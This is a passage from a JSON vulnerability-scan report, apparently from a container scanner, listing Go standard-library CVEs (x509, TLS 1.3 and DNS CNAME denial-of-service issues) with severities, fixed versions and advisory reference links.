"https://access.redhat.com/errata/RHSA-2026:25250", "https://access.redhat.com/errata/RHSA-2026:25251", "https://access.redhat.com/errata/RHSA-2026:25252", "https://access.redhat.com/errata/RHSA-2026:25253", "https://access.redhat.com/errata/RHSA-2026:26447", "https://access.redhat.com/errata/RHSA-2026:26568", "https://access.redhat.com/errata/RHSA-2026:26571", "https://access.redhat.com/errata/RHSA-2026:26585", "https://access.redhat.com/errata/RHSA-2026:26636", "https://access.redhat.com/errata/RHSA-2026:27076", "https://access.redhat.com/errata/RHSA-2026:28038", "https://access.redhat.com/errata/RHSA-2026:28047", "https://access.redhat.com/errata/RHSA-2026:28074", "https://access.redhat.com/errata/RHSA-2026:28196", "https://access.redhat.com/errata/RHSA-2026:28198", "https://access.redhat.com/errata/RHSA-2026:28441", "https://access.redhat.com/errata/RHSA-2026:28886", "https://access.redhat.com/errata/RHSA-2026:28961", "https://access.redhat.com/errata/RHSA-2026:29035", "https://access.redhat.com/errata/RHSA-2026:29195", "https://access.redhat.com/errata/RHSA-2026:29455", "https://access.redhat.com/errata/RHSA-2026:29702", "https://access.redhat.com/errata/RHSA-2026:29703", "https://access.redhat.com/errata/RHSA-2026:29854", "https://access.redhat.com/errata/RHSA-2026:33722", "https://access.redhat.com/errata/RHSA-2026:34097", "https://access.redhat.com/errata/RHSA-2026:34192", "https://access.redhat.com/errata/RHSA-2026:34196", "https://access.redhat.com/errata/RHSA-2026:34197", "https://access.redhat.com/errata/RHSA-2026:34365", "https://access.redhat.com/errata/RHSA-2026:36319", "https://access.redhat.com/errata/RHSA-2026:36625", "https://access.redhat.com/errata/RHSA-2026:36651", "https://access.redhat.com/errata/RHSA-2026:36796", "https://access.redhat.com/errata/RHSA-2026:39810", "https://access.redhat.com/errata/RHSA-2026:39894", "https://access.redhat.com/errata/RHSA-2026:40118", "https://access.redhat.com/errata/RHSA-2026:40945", "https://access.redhat.com/errata/RHSA-2026:41019", "https://access.redhat.com/errata/RHSA-2026:41928", "https://access.redhat.com/errata/RHSA-2026:42043", "https://access.redhat.com/errata/RHSA-2026:42047", "https://access.redhat.com/errata/RHSA-2026:42049", "https://access.redhat.com/errata/RHSA-2026:42050", "https://access.redhat.com/errata/RHSA-2026:42051", "https://access.redhat.com/errata/RHSA-2026:47712", "https://access.redhat.com/errata/RHSA-2026:47714", "https://access.redhat.com/errata/RHSA-2026:47716", "https://access.redhat.com/errata/RHSA-2026:47719", "https://access.redhat.com/errata/RHSA-2026:47721", "https://access.redhat.com/errata/RHSA-2026:47722", "https://access.redhat.com/errata/RHSA-2026:47910", "https://access.redhat.com/errata/RHSA-2026:47952", "https://access.redhat.com/errata/RHSA-2026:48036", "https://access.redhat.com/errata/RHSA-2026:48790", "https://access.redhat.com/errata/RHSA-2026:49509", "https://access.redhat.com/errata/RHSA-2026:49526", "https://access.redhat.com/errata/RHSA-2026:49600", "https://access.redhat.com/errata/RHSA-2026:49838", "https://access.redhat.com/errata/RHSA-2026:49944", "https://access.redhat.com/errata/RHSA-2026:51033", "https://access.redhat.com/errata/RHSA-2026:51288", "https://access.redhat.com/errata/RHSA-2026:54191", "https://access.redhat.com/errata/RHSA-2026:54603", "https://access.redhat.com/errata/RHSA-2026:54757", "https://access.redhat.com/errata/RHSA-2026:56785", "https://access.redhat.com/errata/RHSA-2026:56789", "https://access.redhat.com/errata/RHSA-2026:56852", "https://access.redhat.com/errata/RHSA-2026:56855", "https://access.redhat.com/errata/RHSA-2026:56910", "https://access.redhat.com/errata/RHSA-2026:56912", "https://access.redhat.com/errata/RHSA-2026:56913", "https://access.redhat.com/errata/RHSA-2026:57409", "https://access.redhat.com/errata/RHSA-2026:57482", "https://access.redhat.com/errata/RHSA-2026:57488", "https://access.redhat.com/errata/RHSA-2026:59830", "https://access.redhat.com/errata/RHSA-2026:59833", "https://access.redhat.com/errata/RHSA-2026:59834", "https://access.redhat.com/errata/RHSA-2026:60018", "https://access.redhat.com/errata/RHSA-2026:60520", "https://access.redhat.com/errata/RHSA-2026:61685", "https://access.redhat.com/errata/RHSA-2026:61906", "https://access.redhat.com/errata/RHSA-2026:61907", "https://access.redhat.com/errata/RHSA-2026:65534", "https://access.redhat.com/errata/RHSA-2026:65838", "https://access.redhat.com/errata/RHSA-2026:65886", "https://access.redhat.com/errata/RHSA-2026:66401", "https://access.redhat.com/errata/RHSA-2026:67319", "https://access.redhat.com/errata/RHSA-2026:68504", "https://access.redhat.com/errata/RHSA-2026:9385", "https://access.redhat.com/security/cve/CVE-2026-32280", "https://bugzilla.redhat.com/2456333", "https://bugzilla.redhat.com/2456339", "https://bugzilla.redhat.com/show_bug.cgi?id=2456333", "https://bugzilla.redhat.com/show_bug.cgi?id=2456339", "https://bugzilla.redhat.com/show_bug.cgi?id=2467809", "https://bugzilla.redhat.com/show_bug.cgi?id=2467820", "https://bugzilla.redhat.com/show_bug.cgi?id=2467822", "https://bugzilla.redhat.com/show_bug.cgi?id=2480756", "https://bugzilla.redhat.com/show_bug.cgi?id=2484204", "https://bugzilla.redhat.com/show_bug.cgi?id=2515815", "https://bugzilla.redhat.com/show_bug.cgi?id=2515820", "https://bugzilla.redhat.com/show_bug.cgi?id=2515827", "https://bugzilla.redhat.com/show_bug.cgi?id=2515838", "https://bugzilla.redhat.com/show_bug.cgi?id=2515839", "https://bugzilla.redhat.com/show_bug.cgi?id=2515840", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-32280", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-32281", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33811", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33818", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39820", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39821", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42499", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42504", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56853", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56858", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56859", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56860", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56862", "https://errata.almalinux.org/9/ALSA-2026-49838.html", "https://errata.rockylinux.org/RLSA-2026:65886", "https://go.dev/cl/758320", "https://go.dev/issue/78282", "https://groups.google.com/g/golang-announce/c/0uYbvbPZRWU", "https://linux.oracle.com/cve/CVE-2026-32280.html", "https://linux.oracle.com/errata/ELSA-2026-65886-0.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-32280", "https://pkg.go.dev/vuln/GO-2026-4947", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-32280.json", "https://www.cve.org/CVERecord?id=CVE-2026-32280" ], "PublishedDate": "2026-04-08T02:16:03.247Z", "LastModifiedDate": "2026-09-18T13:17:45.92Z" }, { "VulnerabilityID": "CVE-2026-32281", "VendorIDs": [ "GO-2026-4946" ], "PkgID": "stdlib@v1.23.3", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.23.3", "UID": "4fff4bae17cf3b8e" }, "InstalledVersion": "v1.23.3", "FixedVersion": "1.25.9, 1.26.2", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-32281", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:15c7a6f8957b9b016a0ccb38a98cc5465bc906de8c56efade99c1e3b2e4fa34d", "Title": "crypto/x509: golang: Go crypto/x509: Denial of Service via inefficient certificate chain validation", "Description": "Validating certificate chains which use policies is unexpectedly inefficient when certificates in the chain contain a very large number of policy mappings, possibly causing denial of service. This only affects validation of otherwise trusted certificate chains, issued by a root CA in the VerifyOptions.Roots CertPool, or in the system certificate pool.", "Severity": "HIGH", "CweIDs": [ "CWE-295" ], "VendorSeverity": { "alma": 3, "amazon": 3, "bitnami": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "rocky": 3 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.9 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:49838", "https://access.redhat.com/errata/RHSA-2026:65886", "https://access.redhat.com/security/cve/CVE-2026-32281", "https://bugzilla.redhat.com/2456333", "https://bugzilla.redhat.com/2456339", "https://bugzilla.redhat.com/show_bug.cgi?id=2456333", "https://bugzilla.redhat.com/show_bug.cgi?id=2456339", "https://bugzilla.redhat.com/show_bug.cgi?id=2467809", "https://bugzilla.redhat.com/show_bug.cgi?id=2467820", "https://bugzilla.redhat.com/show_bug.cgi?id=2467822", "https://bugzilla.redhat.com/show_bug.cgi?id=2480756", "https://bugzilla.redhat.com/show_bug.cgi?id=2484204", "https://bugzilla.redhat.com/show_bug.cgi?id=2515815", "https://bugzilla.redhat.com/show_bug.cgi?id=2515820", "https://bugzilla.redhat.com/show_bug.cgi?id=2515827", "https://bugzilla.redhat.com/show_bug.cgi?id=2515838", "https://bugzilla.redhat.com/show_bug.cgi?id=2515839", "https://bugzilla.redhat.com/show_bug.cgi?id=2515840", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-32280", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-32281", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33811", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33818", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39820", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39821", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42499", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42504", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56853", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56858", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56859", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56860", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56862", "https://errata.almalinux.org/9/ALSA-2026-49838.html", "https://errata.rockylinux.org/RLSA-2026:65886", "https://go.dev/cl/758061", "https://go.dev/issue/78281", "https://groups.google.com/g/golang-announce/c/0uYbvbPZRWU", "https://linux.oracle.com/cve/CVE-2026-32281.html", "https://linux.oracle.com/errata/ELSA-2026-67148-0.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-32281", "https://pkg.go.dev/vuln/GO-2026-4946", "https://www.cve.org/CVERecord?id=CVE-2026-32281" ], "PublishedDate": "2026-04-08T02:16:03.35Z", "LastModifiedDate": "2026-07-25T10:10:00.167Z" }, { "VulnerabilityID": "CVE-2026-32283", "VendorIDs": [ "GO-2026-4870" ], "PkgID": "stdlib@v1.23.3", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.23.3", "UID": "4fff4bae17cf3b8e" }, "InstalledVersion": "v1.23.3", "FixedVersion": "1.25.9, 1.26.2", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-32283", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:2659cdb89c1c6ef17619f4a7ceb1963008aecf1286ec183f9bc5f326bab5b905", "Title": "crypto/tls: golang: Go crypto/tls: Denial of Service via multiple TLS 1.3 key update messages", "Description": "If one side of the TLS connection sends multiple key update messages post-handshake in a single record, the connection can deadlock, causing uncontrolled consumption of resources. This can lead to a denial of service. This only affects TLS 1.3.", "Severity": "HIGH", "CweIDs": [ "CWE-770", "CWE-764" ], "VendorSeverity": { "alma": 3, "amazon": 3, "bitnami": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:10217", "https://access.redhat.com/errata/RHSA-2026:10219", "https://access.redhat.com/errata/RHSA-2026:10704", "https://access.redhat.com/errata/RHSA-2026:11507", "https://access.redhat.com/errata/RHSA-2026:11514", "https://access.redhat.com/errata/RHSA-2026:11704", "https://access.redhat.com/errata/RHSA-2026:11711", "https://access.redhat.com/errata/RHSA-2026:11712", "https://access.redhat.com/errata/RHSA-2026:11863", "https://access.redhat.com/errata/RHSA-2026:11881", "https://access.redhat.com/errata/RHSA-2026:14162", "https://access.redhat.com/errata/RHSA-2026:14200", "https://access.redhat.com/errata/RHSA-2026:14391", "https://access.redhat.com/errata/RHSA-2026:15980", "https://access.redhat.com/errata/RHSA-2026:16021", "https://access.redhat.com/errata/RHSA-2026:16024", "https://access.redhat.com/errata/RHSA-2026:16101", "https://access.redhat.com/errata/RHSA-2026:16102", "https://access.redhat.com/errata/RHSA-2026:16875", "https://access.redhat.com/errata/RHSA-2026:17075", "https://access.redhat.com/errata/RHSA-2026:17084", "https://access.redhat.com/errata/RHSA-2026:17287", "https://access.redhat.com/errata/RHSA-2026:18027", "https://access.redhat.com/errata/RHSA-2026:18032", "https://access.redhat.com/errata/RHSA-2026:19126", "https://access.redhat.com/errata/RHSA-2026:19132", "https://access.redhat.com/errata/RHSA-2026:19133", "https://access.redhat.com/errata/RHSA-2026:19134", "https://access.redhat.com/errata/RHSA-2026:19135", "https://access.redhat.com/errata/RHSA-2026:19136", "https://access.redhat.com/errata/RHSA-2026:19137", "https://access.redhat.com/errata/RHSA-2026:19139", "https://access.redhat.com/errata/RHSA-2026:19144", "https://access.redhat.com/errata/RHSA-2026:19156", "https://access.redhat.com/errata/RHSA-2026:19350", "https://access.redhat.com/errata/RHSA-2026:19351", "https://access.redhat.com/errata/RHSA-2026:19352", "https://access.redhat.com/errata/RHSA-2026:19353", "https://access.redhat.com/errata/RHSA-2026:19369", "https://access.redhat.com/errata/RHSA-2026:19450", "https://access.redhat.com/errata/RHSA-2026:19550", "https://access.redhat.com/errata/RHSA-2026:19634", "https://access.redhat.com/errata/RHSA-2026:19714", "https://access.redhat.com/errata/RHSA-2026:19715", "https://access.redhat.com/errata/RHSA-2026:19719", "https://access.redhat.com/errata/RHSA-2026:19720", "https://access.redhat.com/errata/RHSA-2026:19721", "https://access.redhat.com/errata/RHSA-2026:19722", "https://access.redhat.com/errata/RHSA-2026:19750", "https://access.redhat.com/errata/RHSA-2026:19839", "https://access.redhat.com/errata/RHSA-2026:20556", "https://access.redhat.com/errata/RHSA-2026:20569", "https://access.redhat.com/errata/RHSA-2026:20570", "https://access.redhat.com/errata/RHSA-2026:20571", "https://access.redhat.com/errata/RHSA-2026:20607", "https://access.redhat.com/errata/RHSA-2026:20608", "https://access.redhat.com/errata/RHSA-2026:20609", "https://access.redhat.com/errata/RHSA-2026:21769", "https://access.redhat.com/errata/RHSA-2026:22347", "https://access.redhat.com/errata/RHSA-2026:22423", "https://access.redhat.com/errata/RHSA-2026:22450", "https://access.redhat.com/errata/RHSA-2026:22485", "https://access.redhat.com/errata/RHSA-2026:22709", "https://access.redhat.com/errata/RHSA-2026:22713", "https://access.redhat.com/errata/RHSA-2026:22714", "https://access.redhat.com/errata/RHSA-2026:22937", "https://access.redhat.com/errata/RHSA-2026:23102", "https://access.redhat.com/errata/RHSA-2026:23103", "https://access.redhat.com/errata/RHSA-2026:23228", "https://access.redhat.com/errata/RHSA-2026:23345", "https://access.redhat.com/errata/RHSA-2026:24337", "https://access.redhat.com/errata/RHSA-2026:24470", "https://access.redhat.com/errata/RHSA-2026:24761", "https://access.redhat.com/errata/RHSA-2026:24762", "https://access.redhat.com/errata/RHSA-2026:25248", "https://access.redhat.com/errata/RHSA-2026:25250", "https://access.redhat.com/errata/RHSA-2026:25251", "https://access.redhat.com/errata/RHSA-2026:25252", "https://access.redhat.com/errata/RHSA-2026:26447", "https://access.redhat.com/errata/RHSA-2026:26571", "https://access.redhat.com/errata/RHSA-2026:26636", "https://access.redhat.com/errata/RHSA-2026:27076", "https://access.redhat.com/errata/RHSA-2026:28038", "https://access.redhat.com/errata/RHSA-2026:28047", "https://access.redhat.com/errata/RHSA-2026:28074", "https://access.redhat.com/errata/RHSA-2026:29035", "https://access.redhat.com/errata/RHSA-2026:29195", "https://access.redhat.com/errata/RHSA-2026:29455", "https://access.redhat.com/errata/RHSA-2026:29703", "https://access.redhat.com/errata/RHSA-2026:33722", "https://access.redhat.com/errata/RHSA-2026:34192", "https://access.redhat.com/errata/RHSA-2026:34196", "https://access.redhat.com/errata/RHSA-2026:34197", "https://access.redhat.com/errata/RHSA-2026:34365", "https://access.redhat.com/errata/RHSA-2026:36796", "https://access.redhat.com/errata/RHSA-2026:39810", "https://access.redhat.com/errata/RHSA-2026:41019", "https://access.redhat.com/errata/RHSA-2026:41928", "https://access.redhat.com/errata/RHSA-2026:42644", "https://access.redhat.com/errata/RHSA-2026:47712", "https://access.redhat.com/errata/RHSA-2026:47714", "https://access.redhat.com/errata/RHSA-2026:47716", "https://access.redhat.com/errata/RHSA-2026:47719", "https://access.redhat.com/errata/RHSA-2026:47721", "https://access.redhat.com/errata/RHSA-2026:47722", "https://access.redhat.com/errata/RHSA-2026:47910", "https://access.redhat.com/errata/RHSA-2026:48036", "https://access.redhat.com/errata/RHSA-2026:48790", "https://access.redhat.com/errata/RHSA-2026:49509", "https://access.redhat.com/errata/RHSA-2026:49600", "https://access.redhat.com/errata/RHSA-2026:49944", "https://access.redhat.com/errata/RHSA-2026:51288", "https://access.redhat.com/errata/RHSA-2026:54191", "https://access.redhat.com/errata/RHSA-2026:54435", "https://access.redhat.com/errata/RHSA-2026:54757", "https://access.redhat.com/errata/RHSA-2026:55898", "https://access.redhat.com/errata/RHSA-2026:55900", "https://access.redhat.com/errata/RHSA-2026:55901", "https://access.redhat.com/errata/RHSA-2026:55902", "https://access.redhat.com/errata/RHSA-2026:55903", "https://access.redhat.com/errata/RHSA-2026:56910", "https://access.redhat.com/errata/RHSA-2026:57409", "https://access.redhat.com/errata/RHSA-2026:57801", "https://access.redhat.com/errata/RHSA-2026:57802", "https://access.redhat.com/errata/RHSA-2026:60520", "https://access.redhat.com/errata/RHSA-2026:65126", "https://access.redhat.com/errata/RHSA-2026:65343", "https://access.redhat.com/errata/RHSA-2026:65514", "https://access.redhat.com/errata/RHSA-2026:66022", "https://access.redhat.com/errata/RHSA-2026:66084", "https://access.redhat.com/errata/RHSA-2026:66401", "https://access.redhat.com/errata/RHSA-2026:66523", "https://access.redhat.com/errata/RHSA-2026:67319", "https://access.redhat.com/errata/RHSA-2026:68504", "https://access.redhat.com/errata/RHSA-2026:7291", "https://access.redhat.com/errata/RHSA-2026:7385", "https://access.redhat.com/security/cve/CVE-2026-32283", "https://bugzilla.redhat.com/2445356", "https://bugzilla.redhat.com/2456333", "https://bugzilla.redhat.com/2456338", "https://bugzilla.redhat.com/2456339", "https://bugzilla.redhat.com/show_bug.cgi?id=2445356", "https://bugzilla.redhat.com/show_bug.cgi?id=2456333", "https://bugzilla.redhat.com/show_bug.cgi?id=2456338", "https://bugzilla.redhat.com/show_bug.cgi?id=2456339", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25679", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-32280", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-32281", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-32283", "https://errata.almalinux.org/9/ALSA-2026-29703.html", "https://errata.rockylinux.org/RLSA-2026:29703", "https://go.dev/cl/763767", "https://go.dev/issue/78334", "https://groups.google.com/g/golang-announce/c/0uYbvbPZRWU", "https://linux.oracle.com/cve/CVE-2026-32283.html", "https://linux.oracle.com/errata/ELSA-2026-48790.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-32283", "https://pkg.go.dev/vuln/GO-2026-4870", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-32283.json", "https://www.cve.org/CVERecord?id=CVE-2026-32283" ], "PublishedDate": "2026-04-08T02:16:03.58Z", "LastModifiedDate": "2026-09-18T13:17:48.437Z" }, { "VulnerabilityID": "CVE-2026-33811", "VendorIDs": [ "GO-2026-4981" ], "PkgID": "stdlib@v1.23.3", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.23.3", "UID": "4fff4bae17cf3b8e" }, "InstalledVersion": "v1.23.3", "FixedVersion": "1.25.10, 1.26.3", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-33811", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:4a4725eabe8417676d968076736c2eed30d0fe0bfd3633ec8ee29648e3e3a2e7", "Title": "net: golang: Go net package: Denial of Service via long CNAME response in LookupCNAME", "Description": "When using LookupCNAME with the cgo DNS resolver, a very long CNAME response can trigger a double-free of C memory and a crash.", "Severity": "HIGH", "CweIDs": [ "CWE-415", "CWE-1341" ], "VendorSeverity": { "alma": 3, "amazon": 3, "bitnami": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:22112", "https://access.redhat.com/errata/RHSA-2026:22120", "https://access.redhat.com/errata/RHSA-2026:22121", "https://access.redhat.com/errata/RHSA-2026:23262", "https://access.redhat.com/errata/RHSA-2026:23264", "https://access.redhat.com/errata/RHSA-2026:33120", "https://access.redhat.com/errata/RHSA-2026:33123", "https://access.redhat.com/errata/RHSA-2026:33142", "https://access.redhat.com/errata/RHSA-2026:33150", "https://access.redhat.com/errata/RHSA-2026:33574", "https://access.redhat.com/errata/RHSA-2026:34357", "https://access.redhat.com/errata/RHSA-2026:34359", "https://access.redhat.com/errata/RHSA-2026:34364", "https://access.redhat.com/errata/RHSA-2026:35832", "https://access.redhat.com/errata/RHSA-2026:35993", "https://access.redhat.com/errata/RHSA-2026:35994", "https://access.redhat.com/errata/RHSA-2026:35995", "https://access.redhat.com/errata/RHSA-2026:36207", "https://access.redhat.com/errata/RHSA-2026:36319", "https://access.redhat.com/errata/RHSA-2026:36617", "https://access.redhat.com/errata/RHSA-2026:36625", "https://access.redhat.com/errata/RHSA-2026:36648", "https://access.redhat.com/errata/RHSA-2026:36651", "https://access.redhat.com/errata/RHSA-2026:36776", "https://access.redhat.com/errata/RHSA-2026:36796", "https://access.redhat.com/errata/RHSA-2026:36797", "https://access.redhat.com/errata/RHSA-2026:38504", "https://access.redhat.com/errata/RHSA-2026:39266", "https://access.redhat.com/errata/RHSA-2026:39272", "https://access.redhat.com/errata/RHSA-2026:39319", "https://access.redhat.com/errata/RHSA-2026:39573", "https://access.redhat.com/errata/RHSA-2026:39810", "https://access.redhat.com/errata/RHSA-2026:40118", "https://access.redhat.com/errata/RHSA-2026:40119", "https://access.redhat.com/errata/RHSA-2026:40945", "https://access.redhat.com/errata/RHSA-2026:41019", "https://access.redhat.com/errata/RHSA-2026:41030", "https://access.redhat.com/errata/RHSA-2026:41055", "https://access.redhat.com/errata/RHSA-2026:41928", "https://access.redhat.com/errata/RHSA-2026:42043", "https://access.redhat.com/errata/RHSA-2026:42047", "https://access.redhat.com/errata/RHSA-2026:42048", "https://access.redhat.com/errata/RHSA-2026:42049", "https://access.redhat.com/errata/RHSA-2026:42050", "https://access.redhat.com/errata/RHSA-2026:42051", "https://access.redhat.com/errata/RHSA-2026:42078", "https://access.redhat.com/errata/RHSA-2026:42079", "https://access.redhat.com/errata/RHSA-2026:42082", "https://access.redhat.com/errata/RHSA-2026:42132", "https://access.redhat.com/errata/RHSA-2026:42150", "https://access.redhat.com/errata/RHSA-2026:42151", "https://access.redhat.com/errata/RHSA-2026:42240", "https://access.redhat.com/errata/RHSA-2026:42644", "https://access.redhat.com/errata/RHSA-2026:42852", "https://access.redhat.com/errata/RHSA-2026:42946", "https://access.redhat.com/errata/RHSA-2026:43038", "https://access.redhat.com/errata/RHSA-2026:43692", "https://access.redhat.com/errata/RHSA-2026:44622", "https://access.redhat.com/errata/RHSA-2026:46885", "https://access.redhat.com/errata/RHSA-2026:47149", "https://access.redhat.com/errata/RHSA-2026:47735", "https://access.redhat.com/errata/RHSA-2026:47952", "https://access.redhat.com/errata/RHSA-2026:48151", "https://access.redhat.com/errata/RHSA-2026:49702", "https://access.redhat.com/errata/RHSA-2026:49703", "https://access.redhat.com/errata/RHSA-2026:49712", "https://access.redhat.com/errata/RHSA-2026:50205", "https://access.redhat.com/errata/RHSA-2026:50300", "https://access.redhat.com/errata/RHSA-2026:50319", "https://access.redhat.com/errata/RHSA-2026:50336", "https://access.redhat.com/errata/RHSA-2026:50843", "https://access.redhat.com/errata/RHSA-2026:51033", "https://access.redhat.com/errata/RHSA-2026:51057", "https://access.redhat.com/errata/RHSA-2026:51187", "https://access.redhat.com/errata/RHSA-2026:51194", "https://access.redhat.com/errata/RHSA-2026:51341", "https://access.redhat.com/errata/RHSA-2026:53412", "https://access.redhat.com/errata/RHSA-2026:53413", "https://access.redhat.com/errata/RHSA-2026:53415", "https://access.redhat.com/errata/RHSA-2026:53530", "https://access.redhat.com/errata/RHSA-2026:54168", "https://access.redhat.com/errata/RHSA-2026:54191", "https://access.redhat.com/errata/RHSA-2026:54274", "https://access.redhat.com/errata/RHSA-2026:54283", "https://access.redhat.com/errata/RHSA-2026:54284", "https://access.redhat.com/errata/RHSA-2026:54285", "https://access.redhat.com/errata/RHSA-2026:54286", "https://access.redhat.com/errata/RHSA-2026:54287", "https://access.redhat.com/errata/RHSA-2026:54435", "https://access.redhat.com/errata/RHSA-2026:54441", "https://access.redhat.com/errata/RHSA-2026:54500", "https://access.redhat.com/errata/RHSA-2026:54552", "https://access.redhat.com/errata/RHSA-2026:54556", "https://access.redhat.com/errata/RHSA-2026:54584", "https://access.redhat.com/errata/RHSA-2026:54602", "https://access.redhat.com/errata/RHSA-2026:54603", "https://access.redhat.com/errata/RHSA-2026:54757", "https://access.redhat.com/errata/RHSA-2026:56340", "https://access.redhat.com/errata/RHSA-2026:56785", "https://access.redhat.com/errata/RHSA-2026:56789", "https://access.redhat.com/errata/RHSA-2026:56790", "https://access.redhat.com/errata/RHSA-2026:56852", "https://access.redhat.com/errata/RHSA-2026:56855", "https://access.redhat.com/errata/RHSA-2026:56910", "https://access.redhat.com/errata/RHSA-2026:56912", "https://access.redhat.com/errata/RHSA-2026:56913", "https://access.redhat.com/errata/RHSA-2026:57191", "https://access.redhat.com/errata/RHSA-2026:57194", "https://access.redhat.com/errata/RHSA-2026:57482", "https://access.redhat.com/errata/RHSA-2026:57488", "https://access.redhat.com/errata/RHSA-2026:57649", "https://access.redhat.com/errata/RHSA-2026:59467", "https://access.redhat.com/errata/RHSA-2026:59559", "https://access.redhat.com/errata/RHSA-2026:60018", "https://access.redhat.com/errata/RHSA-2026:60025", "https://access.redhat.com/errata/RHSA-2026:60302", "https://access.redhat.com/errata/RHSA-2026:60520", "https://access.redhat.com/errata/RHSA-2026:61253", "https://access.redhat.com/errata/RHSA-2026:61313", "https://access.redhat.com/errata/RHSA-2026:65126", "https://access.redhat.com/errata/RHSA-2026:65534", "https://access.redhat.com/errata/RHSA-2026:65886", "https://access.redhat.com/errata/RHSA-2026:66022", "https://access.redhat.com/errata/RHSA-2026:67149", "https://access.redhat.com/errata/RHSA-2026:67287", "https://access.redhat.com/errata/RHSA-2026:67319", "https://access.redhat.com/security/cve/CVE-2026-33811", "https://bugzilla.redhat.com/2467822", "https://bugzilla.redhat.com/show_bug.cgi?id=2456333", "https://bugzilla.redhat.com/show_bug.cgi?id=2456339", "https://bugzilla.redhat.com/show_bug.cgi?id=2467809", 